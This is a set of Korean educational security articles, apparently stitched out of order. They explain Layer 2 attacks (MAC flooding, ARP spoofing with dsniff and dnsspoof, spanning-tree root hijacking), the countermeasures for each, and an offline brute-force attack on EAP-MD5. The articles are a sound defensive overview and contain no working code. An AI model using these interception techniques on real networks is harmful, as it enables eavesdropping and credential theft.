MAC 플루딩 공격은 한 포트에서 수 천 개의 호스트가 스위치와 연결되어 있는 것으로 보이지만 실제는 변조된 MAC 정보를 공격 호스트에서 발생시키는 것이다. macof라는 유명한 공격 툴은 약 130여줄의 C로 짜여진 프로그램으로 분당 15만5천개의 MAC 주소를 발생할 수 있다. 짧은 시간 대량의 위장된 MAC 주소를 특정 포트에서 발생시키면, 스위치는 발생된 MAC 주소를 내부에 저장하게 되는데 스위치의 하드웨어 공간 제약으로 인해 최대 저장할 수 있는 MAC 주소 공간이 위조된 MAC 주소로 채워지게 된다.

공격이 진행되고 있는 상태에서 스위치와 연결된 정상적인 호스트가 통신할 때, 스위치의 MAC 정보에는 이미 공격자의 위조된 MAC 주소만이 존재한다. 이때 풀루딩이 가동된다. 플루딩 동작으로 데이터가 모든 호스트에 전달되므로, 공격자는 자신의 호스트에서 스니퍼를 이용한 스니핑이 가능하다.

보안 위협

스위치화된 이더넷 환경에서 불가능한 스니퍼를 이용한 스니핑이 가능하게 한다. 스니핑이 가능하다는 의미는 결국 스니핑으로 통한 주요 정보 유출이 가능하므로 허브 구성의 패킷 스니핑(Packet Sniffing)의 보안위협과 동일하게 된다.

보안 대책

MAC 플루딩 공격은 특정 호스트가 대량의 변조된 MAC 주소를 생성하므로 이를 차단하면 가능하다. 즉 각 포트마다 사용하는 MAC 주소를 스위치에 설정하거나, 포트마다 수용할 수 있는 최대 MAC 주소의 개수를 제한하는 것이다.

스위치가 인식할 수 없는 MAC 주소를 감지하게 되면 해당 MAC 주소를 차단하거나, 포트를 사용하지 못하도록 하는데, 이러한 기능은 네트워크 장비 벤더와 장비 모델에 따라 지원여부를 확인해야 한다. 일례로 시스코 경우는 포트 보안(Port Security)이라는 기능이며, 해당장비와 자세한 기술정보는 <표 1>과 같다.

<표1> 시스코 포트 보안
지원장비	Cat 29XX, 4K, 5K, and 6K in CatOS 5.2; 29/3500XL in 11.2(8)SA; 2950 in 12.0(5.2)WC(1); 3550 in 12.1(4)EA1
기술정보	Http://cisco.com/univercd/cc/td/doc/product/lan/cat5000/rel_5_4/ config/sec_port.htm

ARP 스푸핑

ARP 스푸핑(spoofing)은 MAC 플루딩처럼 스위치를 직접적으로 공격하는 유형이 아니라, 트래픽의 흐름을 변경하는 트래픽 흐름 변경(traffic redirection) 형태의 공격이다. 일반적으로 네트워크 내의 호스트 A가 C와 통신을 하고자 할 때, 호스트 A는 네트워크 상에 ARP 요청(request)을 브로드캐스트(broadcast)하고 ARP 리퀘스트를 수신한 네트워크상의 모든 호스트 중 해당 호스트 C가 자신의 MAC 주소를 포함해 ARP 회신(reply)을 A로 전송한다.

스위치화된 네트워크 환경에서도 ARP 요청은 네트워크로 브로드캐스트된다.

공격자의 호스트가 B라고 하면, 공격자 역시 ARP 요청 정보를 수신하고, 호스트 A로 변조된 ARP 회신을 전송하되, 자신의 MAC 주소로 변조돼 있다.

변조된 ARP 회신 응답을 수신한 호스트 A는 자신이 파악한 C의 MAC 주소로 통신을 하지만, 실제로 A가 알고 있는 MAC 주소는 C의 MAC 주소가 아닌 공격자가 변조해서 전송한 공격자 호스트 B의 MAC 주소이므로, 실제 통신은 공격자 호스트다. 이러한 공격이 트래픽 흐름 변경을 이용한 공격이다.

개요

ARP 스푸핑 공격은 스위치로의 직접적인 공격이 아닌 트래픽의 흐름을 변경하는 트래픽 흐름 변경 공격이라고 언급했다.

과연 공격자가 트래픽 흐름 변경 기능으로 무엇을 할 수 있을까? 공격자는 위조된 ARP 회신 패킷을 전송함으로써 네트워크에 존재하는 호스트의 ARP 테이블에 공격자의 MAC 주소를 모두 성공적으로 업데이트했지만, 이것만으로는 완벽한 공격의 성공이라고 보기는 어렵다.

비록 MAC 주소의 변조로 공격자의 호스트로 트래픽이 전달되더라도 공격자가 통신하는 응답을 정상적으로 제공해야만 공격자가 있음을 알지 못하고 계속 통신을 할 것이다. 비정상적인 통신 응답이 발생하면 접속을 중지하든지 혹은 원인 파악을 위해 노력하므로, 공격자는 더 이상의 정보를 얻을 수 없다.

<그림> ARP 스푸핑 공격

<그림 2>는 공격자가 ARP 스푸핑을 이용해 호스트의 서버 접속, 인터넷 접속이 공격자를 경유하고 있음을 보여준다. 공격자는 서버로 접속하는 프로토콜(텔넷과 같은)과 인터넷 접속에 사용하는 프로토콜(웹 서비스와 같은)을 호스트에게 정상적인 응답을 전달해야만 가능하다.

그러므로 ARP 스푸핑 공격과 함께 공격자는 호스트가 통신하고자 하는 프로토콜(웹, ftp, 텔넷, 이메일 등)을 정상적으로 이용할 수 있도록 일종의 서비스 제공 기능을 갖춰야 한다. 일부 알려진 툴들은 이러한 서비스들을 놀라울 정도로 제공한다. <그림 3>은 arpspoof라는 툴을 이용해 10.5.1.109의 ARP정보가 변조됨을 알 수 있다. 공격자는 계속 arpspoof 공격을 진행하면서, 정상적인 사용자가 이용할 프로토콜에 대해 서비스를 제공함으로써 패스워드 정보 등 불법적으로 정보를 수집해야 할 것이다.

패스워드 전문 스니핑 툴 중에 dsniff라는 툴이 있는데, 30여가지 이상의 표준 프로토콜 혹은 애플리케이션 프로토콜을 선택적으로 이용할 수 있다. 이를 나열하면 FTP, 텔넷, SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, OSPF, PPTP MS-CHAP, NFS, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, 넵스터(Napster), PostgreSQL, 미팅 메이커(Meeting Maker), 시트릭스 ICA, 시만텍 피씨애니웨어, NAI 스니퍼, 마이크로소프트 SMB, 오라클 SQL쪻Net, 사이베이스 et Microsoft SQL 등이다.

<그림 4>는 dsniff를 이용해 웹서비스(http)의 계정 및 패스워드를 파악한 예이다. 공격자는 dnsspoof를 이용해 dsniff가 설치된 호스트로 DNS정보를 변조할 수 있다. 분명 www.amazon.com의 DNS 조회결과는 15.1.1.25가 아닐 것이다. 심지어 dniff는 SSL과 SSH 세션까지도 가로챈 뒤 거짓 인증서 정보를 제공할 수도 있다. 또한 dsniff는 Arpspoof, Dnsspoof, Dsniff, Filesnarf, Macof, Mailsnarf, Msgsnarf, Tcpkill, Tcpnice, Urlsnarf, Webspy, Sshmitm, Webmitm 등의 툴들이 구성요소로 포함되어 있어 다양한 공격도 가능하다.

보안 위협

누차 강조하지만 ARP 스푸핑은 스위치로의 직접적인 공격이 아니라 트래픽 흐름을 변경하는 트래픽 흐름 변경 공격 유형이다. 따라서 단순하게 ARP 스푸핑 공격만을 이용하기보다는 여러 가지 툴들을 이용해 조합된 공격을 하는 것이 특징이다.

MAC 플루딩 공격보다 좀 더 지능적이며, 모든 트래픽이 공격자의 호스트로 전송되므로 트래픽 분석을 통한 주요 정보 유출 가능성이 존재하는 스니핑의 전형적인 보안 위협과 동일하다.

보안 대책

우선 존알람(ZoneAlarm) 등과 같은 개인방화벽 제품(상용/프리웨어 포함)들을 이용해 공격을 탐지할 수 있다. 물론 제품에 따라서 기능 지원 차이가 있으므로 확인해 보는 것도 좋다. 스니핑의 필수조건인 프로미스큐어스 모드(promiscuous mode)의 네트워크 카드를 탐지하는 전용 툴을 사용하는 것도 시도해 볼 만 하다.

ARP 와치(Watch)도 ARPspoof 공격의 보안대책으로 매우 효과적이다. arpwatch라는 툴은 호스트들의 ARP 정보를 모니터링하고 있으며, 중복되는 경우 탐지해 알람 등의 방법으로 관리자에게 알려주게 된다. 하지만 무엇보다 장비의 보안설정을 강화하는 것이야말로 핵심이다.

이는 네트워크장비에서 제공하는 보안기능을 활용하면 된다. 물론 장비 벤더, 모델마다 기능지원 여부 등이 상이하므로 확인해 봐야 한다.

시스코의 경우 개인 가상랜(private VLAN) 기능을 이용하여 arpspoof에 대한 대책을 세울 수 있다. 개인 가상랜은 동일한 가상랜 내에서 포트 단위로 분리할 수 있는 기능으로, promiscuous/ isolated/ community의 포트 속성을 정의함으로써 트래픽 이동에 대한 제한이 가능하다.

스패닝 트리

스패닝 트리(Spanning Tree)는 레이어 2 계층에서 네트워크 무장애 운영을 위한 스위치의 리던던트 구성시 트래픽 전송의 물리적인 복수경로로 인한 트래픽의 루핑(looping) 현상을 막기 위한 기능으로, STP는 스패닝 트리 프로토콜의 약자다.

<그림5> 스패닝 트리 공격 사례

<그림 5>의 경우, 호스트 A와 B간 통신을 하는 구간이 다중으로 구성되어 있으나, STP에 의해 4번과 3번 스위치의 연결을 논리적으로 차단함으로써 트래픽 전송은 Aa 1a 2a 3a B의 경로로 전달된다. STP를 구현하는 환경에서는 스위치가 부팅하면, 루핑을 방지하기 위한 일련의 과정이 시작된다. 스위치는 루트 스위치라는 루트 브리지가 발견되면, 자신과 연결된 이중화 경로를 모두 차단하고 오직 루트 스위치와 연결된 경로만으로 트래픽을 전송함으로써, 트래픽 경로를 결정하게 된다.

루트 스위치를 경유한 트래픽 전송 경로가 선정되므로 루트 스위치를 잘못 설정하면 최적의 경로가 설정되지 못할 수도 있다. STP는 BPDU(Bridge Port Data Unit) 메시지라는 것을 상호 교환함으로써 STP의 모든 과정을 진행하고 판단한다.

개요

<그림 5>를 살펴보면 STP 구동을 1번 스위치가 루트가 되어 2번 스위치와 트래픽을 송수신하고 있다. 이때 공격자는 변조된 BPDU 메시지를 전송하여 강제로 스패닝 트리의 계산을 다시 하도록 함으로써 자신이 루트가 된다.

공격자가 루트가 됨으로써 트래픽 전송 경로는 1번-공격자-2번 스위치의 전송경로로 변경되며, 이때 공격자의 호스트는 브리지 역할을 수행하거나, 허브와 같은 장비를 이용하여 트래픽을 정상적으로 전달한다.

즉 트래픽 흐름을 끊기지 않게 한다는 것이다. 공격자는 자신의 호스트에 스니퍼 등의 스니핑 툴을 설치하여 불법적인 정보수집이 가능하다.

또한 일종의 DoS(Denial of Service) 공격 형태가 될 수 있다. 만약 1번과 2번 스위치 구간이 기가비트의 물리적인 대역을 통해 대량의 트래픽이 전송되고 있었는데, 공격자를 경유한 전송경로의 변경으로 기가비트 대역폭 대신 공격자를 경유한 10M 대역폭 구간으로 트래픽이 전송된다면 대역폭 부족으로 인한 패킷유실 및 공격자의 트래픽 전송이 저성능으로 네트워크의 성능 저하를 초래한다.

보안 대책

스패닝 트리 공격이 가능한 이유는 공격자가 BPDU 메시지를 스위치로 전송해 자신이 루트 스위치가 됨으로써, 전송경로가 변경되어 가능했다. 그렇다면 불법적으로 BPDU 메시지를 수용하지 않으면 공격은 불가능할 것이다. 각 네트워크 장비벤더에서는 BPDU 메시지의 전송으로 인한 문제점을 제거하기 위해서 여러 가지 기능을 제공하므로 기능들을 확인해야 한다.

시스코의 경우 스위치에 BPDU 가드 기능을 이용해 불필요한 스위치에 BPUD 메시지를 수용하지 않도록 하거나, 루트 가드(Root Guard) 기능을 이용해 BPDU 메시지로 인해 불필요한 스위치가 루트가 되지 않도록 설정하는 방법이 있다.

스패닝 트리는 중규모 이상의 네트워크에서 레이어 2 계층의 리던던트 구성을 하는 경우가 있으므로 네트워크 관리자는 스패닝 트리를 이용하는 장비의 보안기능을 검토, 적용해야 할 것이다.

오늘날 인터넷이 없는 생활은 상상하기도 어려운 일이다. 인터넷의 근간이 되는 TCP/IP 통신은 라우터, 스위치, 허브 등 TCP/IP 기반에서 동작하는 네트워크 장비들의 물리적 구성으로 이뤄져 있다. 이 가운데 각종 애플리케이션 서버, 3계층 동작의 라우터와 백본 스위치 등에 대한 보안 투자는 활발히 이뤄지는 반면, 2계층의 보안은 상대적으로 미비한 수준이다.

인터넷을 접속하고자 하는 사용자의 컴퓨터는 랜(LAN) 케이블을 통해 허브나 스위치로 연결되어 있으며, 허브나 스위치는 라우터와 연결되어 라우터가 제공하는 네트워크 경로에 따라 외부 네트워크와 연결된다. 이 때 스위치는 어떤 네트워크에도 설치되어 있고 쉽게 볼 수 있는 장비이기 때문인지, 스위치에 대한 보안은 큰 고민을 하지 않는 게 현실이다.

각종 애플리케이션 서버, 3계층 동작의 라우터와 백본 스위치 등에 대한 보안 투자는 활발히 이뤄지는 반면, 2계층의 보안은 상대적으로 미비한 수준이다. 서버, 라우터 등의 보안은 철저하지만 서버가 연결된 2계층의 침해가 발생한다면 서버가 100% 정상적으로 동작되더라도 서비스 장애는 발생할 것이다. 보안은 균형적으로 이뤄져야 한다.

2계층의 보안

OSI-7 레이어 모델은 통신하는 상호간의 정보가 없음에도 서로 다른 계층간에 동작할 수 있도록 설계됐다. <그림 1>은 호스트 A와 호스트 B간의 OSI-7 레이어 모델을 도식화한 것이다. 각 계층은 인캡슐레이션(encapsulation)과 디-인캡슐레이션(de-encapsulation)을 통해 상호 통신하게 된다.

<그림1> 호스트 A와 호스트 B간 OSI-7 레이어 모델

만약 2계층인 데이터 링크 계층의 침해가 발생할 때 그 영향으로 상위 계층으로 확산되어 상호 데이터 전송의 문제가 발생되는 ‘도미노 효과(Domino Effect)’ 현상이 발생한다. <그림 2>와 같이 2계층의 공격은 네트워크의 운영 및 응용프로그램 장애로 확대되므로 침해 영향을 최소화하기 위한 보안정책을 고민해야 한다.

<그림2> 도미노 효과

2계층의 공격은 장비 공격과 트래픽 흐름을 변경(traffic redirection)하는 네트워크 공격으로 크게 분류할 수 있는데, 장비공격은 스위치의 허술한 보안설정, 관리정책과 동작원리 등의 취약점을 이용한 공격이며, 네트워크 공격은 2계층의 통신원리를 이용해 불법적으로 트래픽 흐름을 변조하는 공격이다.

2계층 통신 원리

랜 환경의 호스트들은 두개의 주소를 가지고 있다. 하나는 MAC(Media Access Control) 주소로 네트워크 내의 각 노드를 구별할 수 있는 고유한 인식표로 생각할 수 있으며 네트워크 카드 내에 저장되어 있어, 호스트로부터 데이터를 전송하는 단위인 프레임으로 변화할 때 이더넷 프로토콜에 의해 사용되고, 다른 주소인 IP 주소는 애플리케이션에 의해 사용된다.

2계층에서 특정 호스트로 데이터를 전송할 경우 IP 주소를 사용하기보다 MAC 주소를 포함하고 있는 이더넷 헤더를 이용하므로, IP 주소를 네트워크 카드의 하드웨어 주소인 MAC 주소로 파악하는 과정이 필요하다. 데이터를 전송하는 호스트는 내부에 저장된 일종의 테이블에서 수신할 호스트의 MAC 주소 검색이 시작되며, 만약 해당 정보가 존재하지 않을 경우, 수신할 호스트의 정보를 네트워크 상에 브로드캐스트(broadcast)하게 된다. 이때 내부에 저장된 정보를 ARP 캐시라고 정의하며, 브로드캐스트된 정보를 ARP 리퀘스트라고 정의한다.

ARP 리퀘스트를 전송하는 호스트는 자신의 정보를 포함해 전달했으므로, 네트워크 내의 ARP 정보를 수신한 해당 호스트는 자신의 MAC 주소를 전송한 호스트로 알려주어 결국 데이터를 전송하는 호스트는 수신할 호스트의 MAC 주소를 파악하게 되어 통신하게 된다. 이렇게 IP 주소를 MAC 주소로의 변환하는 과정을 ARP라고 정의한다. <그림 3>은 ARP의 예이다.

<그림3> ARP 사례

패킷 스니핑

이더넷 환경은 공유된 이더넷(Shared Ethernet)과 스위치화된 이더넷(Switched Ethernet) 두 가지로 크게 구분될 수 있으며, 환경에 따라 스니핑 가능성은 차이가 있다. 패킷 스니핑을 위한 필수적인 요구사항은 네트워크 카드의 프로미스큐어스 모드(promiscuous mode)이다.

일반적으로 인터페이스 카드는 수신한 패킷들이 자신을 목적지로 하는 트래픽이 아닐 경우 폐기하지만, 프로미스큐어스 모드는 패킷 정보를 모두 수용하므로 네트워크 상의 모든 패킷을 수신할 수 있으므로, 사용 목적에 따라 악용될 가능성도 있다.

공유된 이더넷 : 동일한 버스(bus)로 연결된 모든 호스트는 대역폭을 공유하게 된다. 이러한 경우 두 호스트간 데이터를 전송할 때, 해당 호스트뿐만 아니라 연결된 모든 호스트들에게도 데이터가 전송되는 문제점이 있다.

스위치 환경 이더넷 : 허브 대신 스위치로 구성되어 있으므로 스위치 환경 이더넷이라 불린다. 스위치는 연결된 호스트들의 MAC 주소 정보와 해당 MAC 주소가 어떤 물리적인 포트에 위치하고 있는지 파악하고 있다. 이러한 스위치의 지능적인 기능으로 호스트간 통신을 할 때, 공유 이더넷 방식과는 달리 스위치가 목적지의 MAC 주소 정보를 검색해 물리적으로 연결된 포트로만 데이터를 전송하므로, 연결된 모든 호스트들에게 데이터를 전송하지 않는다.

패킷 스니핑의 보안 위협

보안상 패킷 스니핑의 문제점은 공격자가 네트워크 상의 데이터를 수집하여, 분석할 수 있다는 것이다. 자주 이용하는 프로토콜 중 텔넷, SNMP, POP, FTP, IMAP, NNTP 등은 데이터의 내용이 평문(clear text)이므로 계정, 패스워드 등의 주요 정보가 유출될 위험이 매우 크다. 근래 의사소통 및 업무용으로 활성화된 IM(Instance Messenger) 역시 통신하는 내용이 평문으로 전송되므로 개인정보의 유출의 위협이 존재한다.

유닉스 계열의 스니핑 툴은 Tcp dump, Ethereal, Dsniff, Snort, Sniffit와 Trinux 등과 윈도 계열의 스니핑 툴인 Ethereal, Windump, Network Associates Sniffer, EtherPeek, Analyzer 등 무수히 많은 툴들이 존재하며, 툴들의 지능화로 디코드(decode) 기능이 보강되어 전문적인 사전지식 없이도 수집된 데이터들을 쉽게 분석, 파악할 수 있다. 디코드 기능이란 스니퍼의 각 패킷단위로 수집한 내용을 조합해 완전한 데이터로 복원하는 기능이다. 예를 들어 텔넷의 패스워드가 abc라고 가정하면 스니퍼를 이용하여 볼 수 있는 내용은 a, b와 c 각각 보이지만, 디코드 기능을 이용하면 abc를 모두 조합시켜 보여준다. 이것은 수집된 수많은 패킷들을 사용자가 하나하나 찾아서 조합하는 과정을 툴이 자동적으로 해결해 준다는 편이성을 제공한다.

패킷 스니핑의 보안 대책

첫 번째, 공유된 이더넷 환경인 허브(HUB)를 사용하는 구성에서는 반드시 스위치 장비로 교환해야 한다. 네트워크 규모 및 운영 특성에 맞게 소호형의 저가형 스위치부터 대용량, 고성능의 고가형 스위치까지 매우 다양하므로 적절히 선택할 수 있다. 스위치의 교환으로 스니퍼만을 이용한 단순한 스니핑의 위협에서 해방될 수 있다.

두 번째, 스위치화된 이더넷 환경이라도 안전하지는 않다. 왜냐하면 스위치를 공격해 스니핑이 가능하도록 하는 MAC 플루딩, ARP 스푸핑 등의 공격 방법들이 있다. 네트워크 관리자는 프로미스큐어스 모드로 운영되는 네트워크 카드가 존재하는지, 혹은 공격 여부에 대해 주기적인 파악이 필요하다.

핑 방법 : 의심되는 호스트로 핑 리퀘스트를 전송한다. 정상적인 호스트라면 MAC 주소가 해당하지 않으므로 응답이 없어야 하지만, 프로미스큐어스 모드의 공격 호스트는 MAC 주소의 비교로 패킷을 폐기하지 않으므로 응답을 전송한다. 하지만 이 방법은 오래된 방법이고, 근래에는 신뢰할 수 없는 방법이다.

ARP 방법 : 호스트는 ARP 정보를 캐시(임시저장)한다. 논-브로드캐스트(non-broadcast) ARP를 전송하면, 프로미스큐어스 모드의 공격 호스트는 ARP 주소를 캐시하고, 다시 IP와 함께 핑 패킷을 브로드캐스트하는데, 이때의 MAC 주소는 전과 다르다. 오직 공격자의 호스트만이 스니핑된 ARP 정보를 통하여 정상적인 MAC 주소로 응답을 줄 것이다.

로컬 호스트의 검사: 만약 특정 호스트가 공격으로 인해 프로미스큐어스 모드로 운영될 가능성도 존재한다. ifconfig 명령을 통해 확인할 수 있다. 프로미스큐어스 모드로 동작하고 있다면 ‘RUNNING PROMISC’라는 문구를 확인할 수 있다.

지연 방법 : 이 방법은 매우 단순한 원리로 대부분의 스니퍼는 파싱(parsing)을 하고 있다는 점에 착안해 네트워크 상에 대용량의 데이터를 전송하고 의심되는 호스트로 데이터 전송전과 전송하는 동안 핑 체크를 한다. 만약 호스트가 프로미스큐어스 모드라면, 대용량의 데이터를 파싱해야 하므로 부하가 증가하여 핑 패킷에 대한 응답시간이 늦어질 것이다. 단 이 방법은 네트워크로 인한 지연시간 등 환경적인 요소가 많으므로, 결과에 대한 폴스 포지티브(false-positive) 가능성도 존재한다.

세 번째, 스니핑 탐지 전용 툴을 활용해야 한다. ARP 와치(MAC 주소와 IP 주소를 비교, 모니터링하고 있으며, 중복되는 경우 탐지하여 알람 등을 출력), Anitsniff(스니퍼 탐지 툴), CPM(Check promiscuous mode), Neped(네트워크 상에 패킷 스니퍼의 동작을 탐지) 등 스니핑 탐지 전문 툴을 활용함으로써 불법적인 공격자를 탐지할 수 있으며, 효과적인 방법이라 할 수 있다.

네 번째, IDS를 활용하라. 스니핑 뿐만 아니라 여러 가지 공격에 대한 효과적인 보안대책이다. IDS는 침입탐지시스템으로 스니핑 공격유형 뿐만 아니라 다수의 공격에 대해서도 탐지할 수 있다. 대부분 상용과 비상용 제품이 있다.

다섯 번째, 장비의 보안설정을 강화해야 한다. 각 네트워크 장비 벤더마다 제공하는 보안기능의 활성화 및 정확한 설정으로 공격의 가능성을 최소화할 수 있다.

여섯 번째, 스니핑의 위협이 언제나 존재하고 있음을 상기하고, 주요 장비 혹은 시스템 접속시 SSL, SSH 등의 암호화 프로토콜을 이용함으로써, 공격자가 스니핑으로 데이터를 수집하더라도 암호화된 내용만을 볼 수 있으므로, 정보유출의 가능성을 줄 일 수 있다.

마지막으로, 가장 중요한 점은 스위치화된 환경의 필수적인 패킷 스니핑 조건은 내부로의 물리적인 연결이 선행되어야 하는 점이다. 공격자는 반드시 랜 케이블로 해당 네트워크로 연결되어야 하므로 물리적 공간의 출입통제 및 네트워크의 관리적 보안이 근본적인 보안대책이 될 수 있다.

기존 무선랜의 구성 방식은 보안이 매우 취약하다는 사실을 구체적인 공격 유형별 분석을 통해 설명했다. 이번 에는 기존 무선랜의 취약한 보안을 강화하기 위해 도입된 IEEE 802.1x 규격에 대해 살펴보고 또한 IEEE 802.1x를 도입했을 때 가능한 공격들을 알아보자. <편집자>

기존의 WEP 암호화 방식은 취약한 보안으로 인해 기업환경에서는 거의 사용이 불가능해진 상태이다. 따라서 이러한 표준 기반의 무선랜 규격의 취약점을 보완하기 위해 여러 가지 노력들이 이뤄졌는데 그 중 대표적인 방법들은 다음과 같다.

· WEP 암호화 키 길이의 증가(40비트에서 104비트)
· 검증된 보안 방식의 도입(IPSec을 이용한 VPN)
· IEEE 802.1x 규격의 무선랜 적용

WEP 암호화 키 길이의 증가로 인한 무선랜 보안

WEP 암호화 키 길이의 증가는 실질적으로 보안의 강화를 구현하지 못했다. 단순한 암호화 키 길이의 증가는 WEP 알고리즘 자체의 보안에는 큰 영향을 미치지 못하기 때문이다. 즉, WEP 암호화 키 길이가 증가하더라도 WEP 키를 복구하는 공격에 소요되는 시간은 암호화 키 길이에 비례하여 104비트 길이의 경우라도 현실적인 시간 내에 공격이 가능하기 때문이다.

또한 검증된 보안 방식의 도입은 무선랜 환경에 적합하지 않아 사용이 어렵게 되었다. 기존 IPSec을 이용한 VPN의 경우 AP의 역할이 단순한 허브(Hub)로 제한되어 클라이언트와 VPN 콘센트레이터(Concentrator)간 단대단(End-to-End) 암호화 통신을 하게 된다. 그러나 이러한 구성에는 몇 가지 취약점이 발견되는데 이러한 취약점들은 다음과 같다.

1) 데이터 링크 계층에서의 보안 취약점을 네트워크 계층에서 보완함으로 인해 여전히 데이터 링크 계층에서의 보안 취약점이 존재

2) AP라는 개체는 공격자에게 완전히 개방된 존재이므로 AP에 대한 접속이나 공격 및 AP를 경유한 클라이언트에 대한 공격 방어 방법 부재

3) AP간 로밍(Roaming)이나 접속 제한, 권한 제한 등을 위해 별도의 접근 제어기(Access Controller)가 필요

<그림1> VPN 기반 접근 제어기를 사용할 경우 네트워크 구성도

또한 이러한 접근 제어기와 VPN 콘센트레이터가 혼합된 경우 게이트웨이 형태를 유지하게 되어 성능상 제한 사항이 발생한다. 즉, 모든 무선랜 트래픽이 하나의 게이트웨이를 통해 전송되므로 병목 현상이 발생할 수 있다. 더군다나 현재 출시되고 있는 IEEE 802.11a 혹은 IEEE 802.11g 규격의 무선랜인 경우 IEEE 802.11b 규격의 제품들에 비해 약 5배 정도 향상된 성능을 보이므로 병목 현상이 심화될 수 있다.

이러한 병목 현상을 극복하기 위해서는 게이트웨이의 수를 늘리고 필요한 경우 L4 스위치와 같은 로드 밸런싱 장비가 필요해 무선랜 설치에 보안 장비에 대한 투자가 무선랜 구축보다 더 많이 필요한 형태가 된다. 기업 네트워크 환경에서는 상당한 부담이 아닐 수 없다.

<그림2> 무선랜 보안 방식의 발전 방향

IEEE 802.1x를 이용한 무선랜 보안

IEEE 802.1x 규격의 무선랜에 대한 적용은 위 방법들에 비해 현실적이고도 강력한 보안을 제공할 수 있는 방법이다. 이미 표준화 단체에서 IEEE 802.1x를 도입하기로 결정돼 현재 IEEE 802.11 TGi에서는 IEEE 802.1x 적용을 드래프트에 포함시켰으며 Wi-Fi(Wireless Fidelity)에서도 WPA(Wi-Fi Protected Access) 규격에 IEEE 802.1x 적용을 포함한 상태이다. 또한 IETF 역시 래디우스를 무선랜에 적용하는 IEEE 802.1x 규격에 적용할 수 있는 표준 RFC 문서를 발표함으로써 IEEE 802.1x가 최선의 선택임을 증명하고 있다.

원래 IEEE 802.1x가 개발된 목적은 무선랜이 아니지만 무선랜에서도 적용이 가능한 형태로 변화하고 있다. 무선랜은 기존 802.3 미디어와 달리 쉐어드 미디엄(Shared Medium)이면서도 포인트 투 포인트(Point-to-Point) 형식의 연결을 취하고 있다. 즉, 물리적으로는 같은 전송 매체를 사용하지만 AP와 클라이언트간 연합(Association)을 통해 가상의 포트 개념을 사용하고 있다. 마치 유선상에서 스위치의 포트와도 같은 개념이 될 수 있다.

따라서 각 클라이언트 별 연합에 대해 포트 상태를 IEEE 802.1x에서 정의하고 있는 인증(Controlled) 상태와 비 인증(Uncontrolled) 상태로 정의하게 되면 AP에 대한 접근 제어가 가능해 진다.

<그림3> IEEE 802.1x 구성 요소

IEEE 802.1x 규격에서는 크게 세 종류의 개체를 정의하고 있다. 첫 번째는 요구자(Supplicant)이며, 두 번째는 인증자(Authenticator), 그리고 세 번째는 인증 서버(Authentication Server)다. 요구자(Supplicant)는 인증자로부터 인증 요청을 받았을 때 사용자의 식별 정보(User Credential)를 전달하는 개체다.

인증자는 요구자에게 인증을 요구하고 전달 받은 사용자 식별 정보를 이용해 인증 서버에게 인증 서비스를 요청하는 개체다. 인증자는 또한 해당 사용자의 접속 포트 상태를 관리하며 인증 서버의 인증 결과에 따라 포트를 인증 상태 혹은 비 인증 상태로 설정하게 된다.

인증 서버는 인증자로부터 사용자에 대한 인증 요청을 받아서 인증 서비스를 제공하는 개체로서 사용자의 식별 정보를 미리 가지고 있어야 한다. 인증 서버는 논리적으로는 인증자와 역할이 분리되어 있지만 물리적으로도 반드시 인증자와 분리될 필요는 없다. IEEE 802.1x 규격에서는 요구자, 인증자, 그리고 인증 서버간의 전체적인 인증 메커니즘을 규정하고 있으며 요구자와 인증자 사이에서는 확장 가능한 인증 프로토콜(Extensible Authentication Protocol, 이하 EAP)을 MAC 계층에서 사용하도록 규정하고 있다.

EAP가 MAC 계층에서 전달되기 때문에 이러한 프로토콜을 EAPoL(EAP over LAN)이라고 부른다. 무선랜인 경우 EAPoW(EAP over Wireless)라고도 불리는 경우가 있지만 무선랜인 경우라고 할 지라도 실제로 패킷은 이더넷 패킷으로 전달되므로 유선과 동일하다고 하겠다. 인증자와 인증 서버간 통신프로토콜은 별도로 규정하고 있지는 않지만 부가조건(Annex)을 통해서 래디우스(Remote Authentication Dial In User Service) 프로토콜에 대한 기본적인 참조 모델을 제시하고 있다.

<그림4> IEEE 802.1x 구성 요소

이에 따라 현재 대부분의 인증자 벤더들은 래디우스 프로토콜을 기반으로 제조하고 있으며 IETF에서는 래디우스를 IEEE 802.1x에 적용하기 위한 표준 가이드라인을 RFC3580으로 제시했다. 현재 표준안에서 제시하는 형태는 EAP에서는 EAP-MD5와 EAP-TLS 등이 있으며 드래프트 상으로 EAP-TTLS와 PEAP 등이 있다. 그러면 이제 각각의 프로토콜이 적용된 형태와 공격 유형에 대해 알아보자.

IEEE 802.1x with EAP-MD5

EAP-MD5는 CHAP(Challenge Handshake Authentication Protocol)을 EAP 상에서 구현한 것으로서 일반적인 프로토콜 흐름은 다음과 같다.

<그림5> EAP-MD5 프로토콜 흐름도

EAP-MD5는 서버에서 난수 형태의 시도(Challenge)를 보내면 클라이언트에서 사용자 패스워드와 MD5 해쉬 함수를 이용하여 응답(Response)을 보내게 된다. 서버는 자신이 만든 시도와 서버에 저장된 사용자 패스워드를 가지고 응답을 만들어서 클라이언트가 전송한 응답값과 비교하여 일치하면 인증 성공을 보내고 일치하지 않으면 인증 실패를 보내게 된다.

EAP-MD5는 동적 암호화 키를 생성할 수 없으므로 WEP 암호화를 하지 않거나 하더라도 스테이틱(Static) WEP 키를 사용해서 암호화를 해야만 한다. 따라서 IEEE 802.1x 규격이 적용되지 않은 상태에서의 공격과 같은 형태의 도청 공격은 모두 가능하다.
그럼 IEEE 802.1x가 적용되고 EAP-MD5를 적용할 경우에 대한 공격 유형들을 알아보자.

■ 공격 유형 1. Off-Line Brute-Force Attack

최초의 ‘EAP-Request/Identity’ 메시지에 대한 응답인 ‘EAP-Response/Identity’ 메시지는 사용자의 ID를 전송한다. 따라서 공격자는 무선 구간의 스니핑을 통해 사용자의 ID와 서버의 시도, 그리고 클라이언트의 응답의 세 가지 항목(Triplet)을 수집하게 된다.

여기서 사용자 A의 ID를 IDA라고 하고 서버의 시도를 CHN, 그리고 이에 대한 클라이언트의 응답을 RESPN이라고 가정한다. 그러면 EAP-MD5 프로토콜에 따라 RESPN은 다음과 같이 생성되었다고 가정할 수 있다.
RESPN = HashMD5(EAP Identifier||PWA||CHN)

여기서 EAP 아이덴티파이어(Identifier)는 EAP 패킷의 아이덴티피어 필드 값으로서 EAP 패킷 형식의 일부이므로 무선 구간의 스니핑을 통해 공격자가 쉽게 알 수 있다. PWA는 사용자 A의 비밀번호라고 정의한다. 따라서 현재 공격자가 알 수 없는 값은 PWA인 것이다.

